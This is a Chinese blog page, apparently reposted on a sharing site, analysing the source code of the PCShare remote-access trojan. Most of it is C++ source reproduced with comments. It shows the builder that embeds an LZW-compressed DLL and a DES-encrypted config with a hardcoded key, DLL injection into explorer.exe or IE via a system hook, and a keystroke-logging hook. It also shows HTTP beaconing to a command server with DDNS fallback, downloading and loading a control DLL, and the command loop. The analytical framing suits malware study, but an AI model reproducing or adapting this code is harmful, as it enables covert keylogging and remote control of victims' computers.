打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
PCShare源代码分析(2)-生成客户端
上一节讲了PCShare控制端主界面启动的流程,下面讲讲点击主界面“生成客户端”时,客户端exe文件的生成过程。
 
 主要逻辑在PCShare工程的MyCreateClientDlg.cpp中:
点击“生成客户”:

BOOL CMyCreateClientDlg::OnInitDialog() 
{
//该函数主要用于获取一些基本配置信息并显示在打开窗口对应栏
//如配置文件名称,端口,dll文件名,备份URL,IP地址列表等
}

单击“生成”按钮后,执行以下操作:
void CMyCreateClientDlg::OnButtonCreate() 
{
//向配置文件中写入控制dll文件名和备份URL名信息

//取目标文件名称,弹出“另存为”窗口

//取EXE文件和DLL文件名称"PcStat.exe","PcClient.dll";

//取EXE文件数据放置到结构:pExeFileData

//取DLL文件数据放置到结构:pDllFileData

//压缩数据
BYTE* pDest = new BYTE[m_DllSize * 2];       //pDest为两倍dll size
memset(pDest , 0 , m_DllSize * 2);

BYTE* pSrc = pDllFileData;
BYTE* pCurr = pDest;

      //Tip: 而在Visual C++ 6.0中,char型长度为1字节,short型长度为2字节,int和long型长度都为4字节,因此可以    //认为BYTE与WORD,DWORD定义的变量分别获得了1字节,2字节,4字节内存
        
        //写头:   SSH*****(16, 2byte)(0, 2byte )(m_DllSize, 4byte )********
::lstrcpyA ((char*)pDest, "SSH") ;
pCurr += 8 ;
* (WORD *) pCurr = 16 ;
pCurr += 2 ;
* (WORD *) pCurr = 0 ;
pCurr += 2 ;
* (DWORD *) pCurr = m_DllSize ;
pCurr += 4 ;
pCurr += 8 ;

// 文件名:  (Ps.exe的文件名长度, 2byte ) (Ps.exe的文件名, strlen(filename)个byte )(NULL, 2byte )
* (WORD *) pCurr = ::lstrlen (m_StartFile) ;
::lstrcpy ((char *) pCurr+2, m_StartFile) ;
pCurr += * (WORD *) pCurr + 2 ;

//压缩
DWORD dwCounter = ::GetTickCount () ;
FCLzw fLzw ;
        //输出的OutBuffer按 8 + ...data... 格式存储
pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ;
dwCounter = ::GetTickCount () - dwCounter ;
        //这个值写在头的最后8个byte中SH*****(16, 2byte)(0, 2 byte )(m_DllSize, 4 byte )********
* (DWORD *) &pDest[16] = dwCounter ; 

       //到这pDest也就是pCurr中的数据为:
       //SSH*****(16, 2byte)(0, 2 byte )(m_DllSize, 4 byte )(lzw压缩时间, 8byte)
       //(Ps.exe的文件名长度, 2 byte ) (Ps.exe的文件名, strlen(filename)个 byte )(NULL, 2 byte )
       //pDllFileData经lzw压缩后的数据,按 8 + ...data... 格式存储
 
//启动信息
       /* typedef struct _INITDLLINFO_
       {
    WORD m_ServerPort;
    UINT m_ProcessId;
    UINT m_DllFileLen;
    char m_ProcessName[128];
    char m_KeyName[24];
    char m_CtrlFile[128];
    char m_StartFile[128];
    char m_ServerAddr[128];
    char m_ParentFile[256];
    char m_EventName[32];
    char m_DdnsUrl[128];
    char m_BakUrl[128];
    char m_IsUpdate;
    char m_ext[511];
       }INITDLLINFO,*LPINITDLLINFO;*/

INITDLLINFO m_InitInfo = {0};

m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50);
strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile);
m_InitInfo.m_ProcessName[0] = m_Proc;

strcpy(m_InitInfo.m_StartFile,m_StartFile);
m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0;
strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile);
m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0;
strcat(m_InitInfo.m_StartFile, ".dll");
m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port));
m_InitInfo.m_DllFileLen   = pCurr - pDest;

//DES加密信息
INITDLLINFO m_InitFileInfo = {0};
char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
        //Des_Go(char *Out, char *In, long datalen, const char *Key, int keylen, bool Type)
Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, 
sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT);//将启动信息进行DES加密

//创建目标文件
if(!m_File.Open(m_StartFile, CFile::modeCreate|CFile::modeWrite))
{
MessageBox("无法创建文件","错误");
return;
}

m_File.Write(pExeFileData,m_ExeSize);                      //写客户端exe信息
m_File.Write(pDest,m_InitInfo.m_DllFileLen);            //写dll信息
m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO));  //写启动相关信息
m_File.Close();

delete [] pExeFileData;
delete [] pDllFileData;
delete [] pDest;
}

//上面程序执行完,客户端Ps.exe也就生成了。
//对于PcStat.exe:

BOOL CPcStatApp::InitInstance()
{
//创建任务事件
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName());
if(m_ExitEvent == NULL || GetLastError() 
== ERROR_ALREADY_EXISTS) 
return FALSE;

//加载启动配置信息
char m_FileName[256] = {0};
if(!LoadInitInfo(m_FileName)) return FALSE;
//取当前EXE文件名称
//读Ps.exe中存储的启动信息
//读取和拷贝数据,进行DES解密
//如果不是更新,即木马刚种上
//用GetWindowsDirectory()得到启动文件和控制文件的全路径

//取链接库文件
if(!GetInsertDllFile(m_ExeFileName, pFileName, m_Info.m_DllFileLen))  return FALSE;
//打开Ps.exe文件,定位指针到链接库在文件中的起始位置
//读取dll内容到buffer中,将dll从exe中出来
//如果是对客户端的更新,写新的dll内容到dll文件
//查看数据有效性,文件的头中的数据固定格式来判断。如SSH的存在和文件长度的合法性
//解压文件,dll文件内容原来用lzw算法压缩的,现在同样解压缩
    
//装载动态链接库PcClient.dll
HMODULE m_Module = LoadLibrary(m_FileName);
if(m_Module == NULL) return FALSE;

//启动连接
InsertDllToProcess(m_Module);
//在dll中取导出函数:PlayWork,它是dll实现的主要功能,见下面详细分析
//如果m_Info.m_ProcessName[0] == 0,插入到explorer.exe进程中
//如果== 1,插入到自启动ie
//如果==2,则在本进程启动

//释放资源
FreeLibrary(m_Module);
return TRUE;
}

//PcClient.dll的主要内容,从PlayWork()开始分析

BOOL PlayWork(LPINITDLLINFO pInitInfo) //是explorer还是IE还是本进程,在参数中已获得进程ID等信息
{
//拷贝数据
memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));

//自进程启动
if(pInitInfo->m_ProcessName[0] == 2)
{
m_Work.StartWork(&m_InitInfo);
void SshWork::StartWork(LPINITDLLINFO pItem)
                       {
                       //拷贝数据
memcpy(&m_InitInfo,pItem,sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,NULL);

//启动键盘监控,对键盘键入操作下钩子,将记录写入文件
KeyStartMyWork();

m_IsVideo = GetVideoInfo();

//启动相应工作线程序
UINT m_Id = 0;
m_Thread = (HANDLE) _beginthreadex(NULL , 0 , 
SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指针
SshWork* pWork = (SshWork*) lPvoid;

//开始进入工作循环
while(1)
{
//建立连接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//连接成功,开始处理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS) 
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}
//休息等待指定时间
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}

//销毁资源
pWork->StopWork();
ExitProcess(0);
return 0;
}
}

return TRUE;
}

//检查是否已经启动
if(g_hook != NULL) return FALSE;

//启动HOOK
g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) 
{
LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);

//查看是否为指定进程
if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId())
{
//找到指定进程取消hook
m_IsOk = TRUE;
if(g_hook) UnhookWindowsHookEx(g_hook);

//通知主进程退出
HANDLE m_WaitEvent = 
OpenEvent(EVENT_ALL_ACCESS,FALSE,
m_InitInfo.m_EventName);
if(m_WaitEvent)
{
SetEvent(m_WaitEvent);
CloseHandle(m_WaitEvent);
}
Sleep(1000);

//装载DLL到进程
m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);
if(m_Work.m_Module) 
{
m_Work.StartWork(&m_InitInfo);
}
}
return lResult;
}
return (g_hook != NULL);
}


//上面加粗的三个函数另外分析如下:

/*
** 函数名称: GetHttpConnect
** 函数功能: 建立HTTP连接
** 传入参数: pInfo : 连接相关参数
** 传出参数: hIe : HTTP连接句柄 
hFile : HTTP文件句柄
** 引用函数:
** 返回值 : 布尔型(TRUE-建立连接成功,FALSE-连接建立失败)
** 备注 :
*/
BOOL SshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//关闭句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}

//设置最大连接数量为100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
return FALSE;

//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS,得到需要连接的IP地址
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl)) 
{
//检查两层DDNS
return FALSE;
}
}
}

//初始化HTTP环境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) return FALSE;

//填充上送当前客户信息
char m_Url[4096] = {0};
char m_ExternData[2048] = {0};
GetMySysInfo(m_ExternData); //参见:用C++代码判断操作系统类型
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData);   //这是上线请求

//建立HTTP连接,发送数据
hFp = InternetOpenUrl(hIe , 
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
return FALSE; 
}

DWORD m_TimeOut = 24 * 3600 * 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
return FALSE;
}

//查看返回码
char sCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE , 
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
return FALSE;
}

//查看控制dll是否已经装载
if(hCtrlMd) FreeLibrary(hCtrlMd);

//接收控制文件,直接用socket传送
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
return FALSE; 
}

//装载控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
return FALSE; 
}
//当不是本进程启动的时候,更新本进程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile())  //更新exe,dll, info等
{
CloseHttpHandle();
return FALSE; 
}
}

return TRUE;
}



CPcCortrApp theApp;
void ProcessTrans(HINTERNET hFp , HANDLE m_ExitEvent ,char* pServerAddr , 
int   nServerPort , char* pRegInfo ,char* pFileName)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CMyMainTrans m_Trans;
m_Trans.DoWork(hFp,m_ExitEvent,pServerAddr,nServerPort,pRegInfo,pFileName);
void CMyMainTrans::DoWork( HINTERNET HttpFp , 
HANDLE hExitEvent ,
char* pServerAddr , 
int ServerPort ,
char* pRegInfo ,
char* pFileName)
{
//取任务信息
m_ServerPort = ServerPort;
hFp = HttpFp;
m_ExitEvent = hExitEvent;
strcpy(m_RegInfo, pRegInfo);
strcpy(m_FileName, pFileName);
strcpy(m_ServerAddr,pServerAddr);

//开始工作
while(ProcessCmd());
void CMainFrame::ProcessCmd(SOCKET s, UINT Command,char *pExterndata,int len)
{
CWaitCursor m_Cur;
CMDINFO m_CmdInfo = {0};
m_CmdInfo.m_Command = Command;
if(pExterndata != NULL)
m_CmdInfo.m_DataLen = len;

//关闭事件通知,将non-blocking模式改成blocking模式
    //To set the socket back to blocking mode, an application must first 
//disable WSAAsyncSelect by calling WSAAsyncSelect with the 
//lEvent parameter equal to zero, or disable WSAEventSelect by 
    //calling WSAEventSelect with the lNetworkEvents parameter equal to zero
WSAAsyncSelect(s,GetSafeHwnd(), 0, 0);
ULONG icmd = 0;   
    if(ioctlsocket(s,FIONBIO,&icmd))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
//发送命令
if(!SendData(s,(char*) &m_CmdInfo, sizeof(CMDINFO)))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
//发送目标系统相关信息
if(pExterndata != NULL)
{
if(!SendData(s,pExterndata,
m_CmdInfo.m_DataLen))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
}

//启动事件通知
//The WSAAsyncSelect function automatically sets socket s to nonblocking
// mode, regardless of the value of lEvent.
if(WSAAsyncSelect(s,GetSafeHwnd(),
WM_CLOSEITEM,FD_CLOSE) == SOCKET_ERROR)
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
m_Cur.Restore();
}
}
}




























本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
教你1分钟学会写“病毒木马”程序
C#中DllImport用法和路径问题
通达信插件选股编程规范
在C#里面调用带有回调函数和自定义结构体的DLL的例程
关于在C#中调用C DLL 时的参数传递
VC++动态链接库编程之DLL木马
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服